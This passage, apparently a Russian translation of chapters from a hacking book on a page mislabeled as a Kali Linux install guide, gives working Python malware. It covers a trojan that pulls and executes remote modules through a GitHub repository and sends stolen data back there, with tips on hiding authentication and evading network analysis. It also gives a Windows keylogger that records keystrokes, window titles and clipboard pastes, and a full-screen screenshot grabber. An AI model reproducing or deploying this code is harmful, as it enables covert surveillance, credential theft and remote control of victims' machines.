Установка Kali Linux
Скачать 2.4 Mb.
|
[15] весят около 7Мб. Единственное, на что нужно обратить внимание — на переменную trojan_id , которая ➊ определяет этот троян. Если бы мы применяли этот метод для ботнета, то здесь возникал бы необходимость генерировать трояны, задавать их ID, автоматически создавать файл конфигурации и отправлять его в GitHub, а затем компилировать троян в исполняемый файл. Сегодня мы не будем создавать ботнет, пусть немного поработает ваше воображение. Давайте пропишем соответствующий GitHub код. def connect_to_github(): gh = login(username="yourusername",password="yourpassword") repo = gh.repository("yourusername","chapter7") branch = repo.branch("master") return gh,repo,branch def get_file_contents(filepath): gh,repo,branch = connect_to_github() tree = branch.commit.commit.tree.recurse() for filename in tree.tree: if filepath in filename.path: print "[*] Found file %s" % filepath blob = repo.blob(filename._json_data['sha']) return blob.content return None def get_trojan_config(): global configured config_json = get_file_contents(trojan_config) config = json.loads(base64.b64decode(config_json)) configured = True for task in config: if task['module'] not in sys.modules: exec("import %s" % task['module']) return config def store_module_result(data): gh,repo,branch = connect_to_github() remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000)) repo.create_file(remote_path,"Commit message",base64.b64encode(data)) return Эти четыре функции представляют ключевое взаимодействие между трояном и GitHub. Функция connect_to_github аутентифицирует пользователя в репозитории. Помните, что в реальной ситуации, вы захотите как можно лучше скрыть процедуру аутентификации. Вы также должны будете подумать о том, к чему будет доступ у каждого трояна в вашем репозитории на основании контроля доступа, так как если вашего трояна поймают, то никто другой не сможет удалить все полученные вами данные. Функция get_file_contents отвечает за получение файлов из удаленного репозитория и локальное считывание содержимого. Эта функция используется как для считывания опций конфигурации, так и для считывания исходного кода модуля. Функция get_trojan_config отвечает за получение удаленного документа конфигурации из репозитория, чтобы ваш троян знал, какой модуль нужно запускать. И последняя функция store_module_result используется для отправки любых собранных вами данных на целевую машину. Теперь давайте попробуем импортировать удаленные файлы из нашего GitHub репозитория. Взламываем функцию импорта в Python Если вы дошли до этого места в книге, то вы знаете, что мы используем функцию import в Python, чтобы импортировать функции из внешних библиотек и использовать код, содержащийся в них. Нам нужно иметь такую же возможность для нашего трояна, но помимо этого, мы также хотим убедиться, что если мы импортируем зависимость (например, Scapy или netaddr ), то наш троян сделает этот модуль доступным для всех последующих модулей, которые мы сможем извлечь. Python позволяет вставлять нашу собственную функциональность и самим решать, как импортировать модули. В случаях если, например, модуль не может быть найден локально, вызывается наш класс импорта, что позволяет нам удаленно получать библиотеку из нашего репозитория. Это возможно благодаря добавлению класса custom в список sys.meta_path [16]. Давайте создадим кастомный класс загрузки, прописав следующий код: class GitImporter(object): def __init__(self): self.current_module_code = "" def find_module(self,fullname,path=None): if configured: print "[*] Attempting to retrieve %s" % fullname ➊ new_library = get_file_contents("modules/%s" % fullname) if new_library is not None: ➋ self.current_module_code = base64.b64decode(new_library) return self return None def load_module(self,name): module = imp.new_module(name) ➌ exec self.current_module_code in module.__dict__ ➍ sys.modules[name] = module ➎ return module Каждый раз, когда интерпретатор пытается загрузить недоступный модуль, мы используем наш класс GitImporter. Сначала вызывается функция find_module в попытке установить местоположение модуля. Мы передаем это вызов удаленному загрузчику файлов и если мы устанавливаем местоположение файла в нашем репозитории, то мы ➊ расшифровываем код и храним его в нашем классе . Возвращая ➋ self , мы сообщаем интерпретатору Python, что мы обнаружили модуль и теперь он может вызвать нашу функцию load_module для фактической загрузки модуля. Мы используем стандартный модуль imp , чтобы сначала создать новый чистый объект модуля , а затем вставляем в ➌ него код, который получили из GitHub . Последний шаг — вставляем только что созданный ➍ модуль в список sys.modules . А теперь несколько последних штрихов для трояна и ➎ пробуем на деле. def module_runner(module): task_queue.put(1) result = sys.modules[module].run() ➊ task_queue.get() # store the result in our repo store_module_result(result) ➋ return # main trojan loop sys.meta_path = [GitImporter()] ➌ while True: if task_queue.empty(): config = get_trojan_config() ➍ for task in config: t = threading.Thread(target=module_runner,args=(task['module'],)) ➎ t.start() time.sleep(random.randint(1,10)) time.sleep(random.randint(1000,10000)) Сначала мы добавляем наш кастомный модуль для импорта и только потом мы ➌ приступаем к главному циклу нашего приложения. Первый шаг — получить файл конфигурации из репозитория и затем мы перекидываем модуль в свой собственный ➍ поток . Пока мы находимся в функции ➎ module_runner , мы просто вызываем функцию модуля run . После этого, у нас должен получиться результат в строке, который мы ➊ перенесем в наш репозиторий . Конечная часть нашего трояна «заснет» на неопределенное ➋ время в попытке предотвратить любой анализ сети. Конечно, вы можете создать много трафика на Google.com или предпринять другие меры в попытке скрыть намерения вашего трояна. Приступим к делу! Проверка на деле Отлично! Итак, запустим из командной строки. ВНИМАНИЕ Если у вас в файлах или переменных среды содержится чувствительная информия, то без наличия частного репозитория, вся эта информация уходит в GitHub, и весь мир сможет ее увидеть. Не говорите, что я вас не предупреждал. Конечно, вы можете использовать некоторые методы шифрования из Главы 9. $ python git_trojan.py [*] Found file abc.json [*] Attempting to retrieve dirlister [*] Found file modules/dirlister [*] Attempting to retrieve environment [*] Found file modules/environment [*] In dirlister module [*] In environment module. Идеально. Все соединилось с моим репозиторием, был получен файл конфигурации, два модуля мы отправили в файл конфигурации и запустили их. Теперь, если вы вернетесь обратно к командной сроке из директории трояна, то введите следующий код: $ git pull origin master From https://github.com/blackhatpythonbook/chapter7 * branch master > FETCH_HEAD Updating f4d9c1d..5225fdf Fastforward data/abc/29008.data | 1 + data/abc/44763.data | 1 + 2 files changed, 2 insertions(+), 0 deletions() create mode 100644 data/abc/29008.data create mode 100644 data/abc/44763.data Прекрасно! Наш троян проверил результаты двух запущенных модулей. Есть целый ряд различных улучшений этого метода. Хорошим началом станет шифрование всех вашей модулей, конфигурация и извлечение данных. Также потребуется автоматизация системы управления данными на серверной части, обновление файлов конфигурации и запуск новых троянов, если вы собираетесь работать в большем масштабе. По мере того, как вы будете добавлять все больше и больше функциональности, вам также потребуется расширять возможности Python в плане динамики загрузок и скомпилированных библиотек. А пока, давайте поработаем над созданием отдельных заданий для троянов, а вы сами попробуете интегрировать их в ваш новый GitHub троян. [14] Репозиторий, где хранится эта библиотека: https://github.com/copitux/python-github3/ [15] py2exe можно найти по ссылке: http://www.py2exe.org/ [16] Этот процесс прекрасно описал Карол Кужмарски (Karol Kuczmarski) и его можно найти здесь: http://xion.org.pl/2012/05/06/hacking-python-imports/ Глава 8. Распространенные задачи трояна на Windows Когда вы запускаете троян, то хотите, чтобы он выполнил несколько обычных задач: фиксировал нажатия на клавиши, делал скриншоты и исполнял шелл-код, чтобы предоставить интерактивную сессию для таких инструментов, как CANVAS или Metasploit. В этой главе мы как раз и сконцентрируемся на этих задачах. Мы также применим метод обнаружения «песочница» (Sandbox), чтобы определить, работаем ли мы в антивирусной или криминальной среде. Эти модули просто модифицировать и мы будем работать в нашем фреймворке для трояна. В дальнейших главах, мы изучим атаку посредника или «человек в браузере» и методы эскалации привилегий, которые вы сможете применять вместе с трояном. У каждого метода свои трудности и ест риск быть пойманным конечным пользователем или антивирусом. Я рекомендую очень осторожно моделировать свою цель, после того, как вы внедрите свой троян, чтобы вы могли тестировать модули в своей лаборатории, прежде чем применять их на реально работающей цели. Начнем с создания простого клавиатурного шпиона. Клавиатурный шпионаж для развлечения и нажатие клавиш Клавиатурный шпион — это самый старый трюк, который я описываю в этой книге, но он до сих пор применяется. Взломщики им пользуются, потому что это невероятно эффективный метод по захвату чувствительной информации, такой как учетные данные или разговоры. Отличная библиотека в Python называется PyHook [17] и она позволяет вам без труда перехватывать события клавиатуры. Библиотека пользуется преимуществами родной функции Windows SetWindowsHookEx, которая позволяет вам устанавливать функцию определенную пользователем. Регистрируя хук-события клавиатуры, мы можем перехватывать все нажатия на клавиши. Самое главное, нам нужно точно узнать, какой исполняется процесс, чтобы мы смогли определить, когда вводятся имена пользователя, пароли и другая полезная информация. Итак, давайте откроем keylogger.py и пропишем следующее: from ctypes import * import pythoncom import pyHook import win32clipboard user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None def get_current_process(): # get a handle to the foreground window hwnd = user32.GetForegroundWindow() ➊ # find the process ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) ➋ # store the current process ID process_id = "%d" % pid.value # grab the executable executable = create_string_buffer("\x00" * 512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) ➌ psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) ➍ # now read its title window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title),512) ➎ # print out the header if we're in the right process print print "[ PID: %s %s %s ]" % (process_id, executable.value, window_. ➏ title.value) # close handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) Отлично! Мы только что ввели вспомогательные переменные и функцию, которая захватит активное окно и ID соответствующего процесса. Сначала мы вызываем GetForeGroundWindow , эта функция возвращает дескриптор приоритетного окна. Затем ➊ мы передаем этот дескриптор функции GetWindowThreadProcessId , чтобы получить ID процесса. Затем открываем процесс и, используя результаты ➋ ➌ дескриптора, мы находим имя процесса. Последний шаг — захватываем весь текст строки ➍ заголовка окна, используя функцию GetWindowTextA . В конце нашей вспомогательной ➎ функции, мы выводим всю информацию в красивый заголовок, чтобы вы могли четко ➏ видеть, какие клавиши соответствуют конкретному процессу и окну. Несколько завершающих моментов: def KeyStroke(event): global current_window # check to see if target changed windows if event.WindowName != current_window: ➊ current_window = event.WindowName get_current_process() # if they pressed a standard key ➋ if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), else: # if [CtrlV], get the value on the clipboard if event.Key == "V": ➌ win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE] %s" % (pasted_value), else: print "[%s]" % event.Key, # pass execution to next hook registered return True # create and register a hook manager kl = pyHook.HookManager() ➍ kl.KeyDown = KeyStroke ➎ # register the hook and execute forever kl.HookKeyboard() ➏ pythoncom.PumpMessages() Это все, что вам нужно! Мы определяем нашу функцию PyHook HookManager и затем ➍ связываем событие KeyDown с нашей функцией обратного вызова KeyStroke, определенной пользователем . Затем мы инструктируем PyHook на перехват всех нажатий и ➎ ➏ дальнейшее исполнение. Как только наша цель нажимает на клавишу на клавиатуре, вызывается функция KeyStroke , и ее единственный параметр — это объект события. Первое, что мы делаем — проверяем, менял ли пользователь окна и если да, то мы ➊ получаем имя нового окна и информацию о процессе. Затем мы смотрим на нажатие и ➋ если оно соответствует ASCII, то мы просто его распечатываем. Если же это модификатор (например, SHIFT, CTRL или ALT) или любые другие нестандартные клавиши, то мы берем название клавиши из объекта события. Мы также проверяем, не использовал ли пользователь операцию «вставить» и если да, то мы убираем содержимое из буфера. Функция обратного ➌ вызова завершается, возвращая True , чтобы разрешить выполнение следующего хука в цепочке, если такой имеется, и обработать событие. Давайте пробовать! \ Проверка на деле Проверить наш клавиатурный шпион очень просто. Запустите его и начните использовать Windows, как вы обычно это делаете. Попробуйте использовать браузер, калькулятор или друге приложение и посмотрите результаты в терминале. Результат ниже выглядит не очень, но это сделано из-за форматирования данной книги: C:\>p ython keyloggerhook.py [ PID: 3836 cmd.exe C:\WINDOWS\system32\cmd.exe c:\Python27\python.exe key loggerhook.py ] t e s t [ PID: 120 IEXPLORE.EXE Bing Microsoft Internet Explorer ] w w w . n o s t a r c h . c o m [Return] [ PID: 3836 cmd.exe C:\WINDOWS\system32\cmd.exe c:\Python27\python.exe keyloggerhook.py ] [Lwin] r [ PID: 1944 Explorer.EXE Run ] c a l c [Return] [ PID: 2848 calc.exe Calculator ] [Lshift] + 1 = ➊ Вы видите, что я напечатал слово test в главном окне, где запущен клавиатурный шпион. Затем я включил Internet Explorer, перешел по ссылке www.nostarch.com и запустил еще несколько приложений. Теперь мы можем с уверенностью сказать, что наш шпион может быть добавлен в наш арсенал инструментов. Продолжим со скриншотами. Делаем скриншоты Большинство тестирований на вредоносные коды и на проникновение включают в себя способность делать скриншоты с удаленной цели. Благодаря этому, можно получить изображения, видео фреймы и другую чувствительную информацию, которую не всегда можно увидеть при захвате пакета или с использованием клавиатурного шпиона. К счастью, мы можем использовать пакет PyWin32 (см. требования к установке), чтобы совершать вызовы Windows API. Скриншот-граббер будет использовать графический интерфейс устройств Windows (GDI), чтобы определить необходимые свойства, такие как общий размер экрана, и захватить изображение. Некоторые ПО для скриншотов захватывают только изображение активного на данный момент окна или приложения, но в нашем случае, нам нужен весь экран. Давайте начнем. Открываем screenshotter.py и прописываем следующий код: import win32gui import win32ui import win32con import win32api # grab a handle to the main desktop window hdesktop = win32gui.GetDesktopWindow() ➊ # determine the size of all monitors in pixels width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) ➋ height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # create a device context desktop_dc = win32gui.GetWindowDC(hdesktop) ➌ img_dc = win32ui.CreateDCFromHandle(desktop_dc) # create a memory based device context mem_dc = img_dc.CreateCompatibleDC() ➍ # create a bitmap object screenshot = win32ui.CreateBitmap() ➎ screenshot.CreateCompatibleBitmap(img_dc, width, height) mem_dc.SelectObject(screenshot) # copy the screen into our memory device context mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) ➏ # save the bitmap to a file ➐ screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') # free our objects mem_dc.DeleteDC() win32gui.DeleteObject(screenshot.GetHandle()) Давайте проанализируем, что делает этот небольшой скрипт. Во-первых, нам нужен обработчик для всего рабочего стола , что включает в себя всю видимую область на ➊ нескольких мониторах. Затем мы определяем размер экрана (экранов) , чтобы узнать ➋ необходимые для скриншота размеры. Мы создаем контекст устройства [18] при помощи функции GetWindowDC и передаем обработчик на наш рабочий стол. Затем мы создаем ➌ контекст устройства, основанный на памяти , где мы будем хранить наши изображения, до ➍ того как мы перенесем байты bitmap в файл. Далее создаем объект bitmap , который связан ➎ с контекстом устройства нашего рабочего стола. Вызов SelectObject устанавливает контекст устройства, основанного на памяти до отметки объекта bitmap, который мы захватываем. Мы используем функцию BitBlt , чтобы получить копию изображения |